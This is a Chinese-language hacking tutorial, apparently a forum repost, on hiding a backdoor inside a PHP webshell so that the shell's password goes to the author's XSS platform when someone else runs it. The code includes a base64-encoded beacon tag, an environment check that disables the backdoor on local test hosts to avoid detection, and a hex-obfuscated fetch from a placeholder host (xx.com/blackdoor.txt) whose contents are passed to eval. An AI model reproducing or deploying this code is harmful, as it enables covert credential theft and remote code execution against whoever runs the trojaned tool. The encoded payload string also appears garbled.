马来西亚PHP项目_给你的PHP大马添加后门(黑吃黑)

Part 1 引子

说什么好呢，发个图就当个引子好了。

Part 2 XSS平台

创建项目

选择类型

xss代码

小实验，刷新代码

XSS平台上

Part 3 后门

我们写这样一个脚本

// 这个是你自己的xss代码

echo '';

浏览器，运行脚本

XSS平台上

加密XSS代码

最终脚本

$password = 'hacksb'; //假设这个大马密码

$url = 'base64加密代码';$hm = base64_decode($url);echo $hm.$password.' "/>';

测试下，运行脚本。

<?php $password = 'hacksb';$url = 'PGltZB3aWR0aD0waGVpZ2h0PTAgc3JjPJodHRwOi8veHzMS5jbi94c3MucGhwP2RvPWFwaSZpZD1jNJmxvY2F0a9uPQ==';$hm = base64_decode($url);echo $hm.$password.' "/>';

XSS平台上

Part 3 利用

找个大马。

插入后门代码。总之，尽可能不被别人轻而易举识破。还有变量名不要和大马本身冲突。

运行大马。

XSS平台上。嘿嘿嘿

Part 4 缺陷

这后门还不够完善，例如抓包,F12后门就漏出来了，有待完善。例如后门代码只运行一次，本地测试环境不执行后门代码。

Part 5 改进

我们可以加一个判断是否是本地测试环境

$domain = $_SERVER ['HTTP_HOST'];if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) {$indexhtmls="200 OK";

}else{//执行后门代码

}

也可以远程来。

$domain = $_SERVER ['HTTP_HOST'];if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) {$indexhtmls="200 OK";

}else{$a = file_get_contents('http://www.xx.com/1.txt');eval($a);

}

大概就是这个样子

$dadada = $_SERVER ['HTTP_HOST'];if (strpos($dadada, "0.0") !== false || strpos($dadada, "192.168.") !== false || strpos($dadada, "localhost") !== false) {$s9mf="200 OK";

}else{$s9 = "687474703A2F2F7777772E78782E636F6D2F626C61636B646F6F722E747874";

http://www.xxx.com/blackdoor.txt hex编码

$m="s9";$f = file_get_contents(PACK('H*',$$m));eval($f);

}

blackdoor.txt 内容如下:@set_time_limit(0);echo '';

Part 6 瞎扯

参考： https://bbs.ichunqiu.com/thread-18486-1-1.html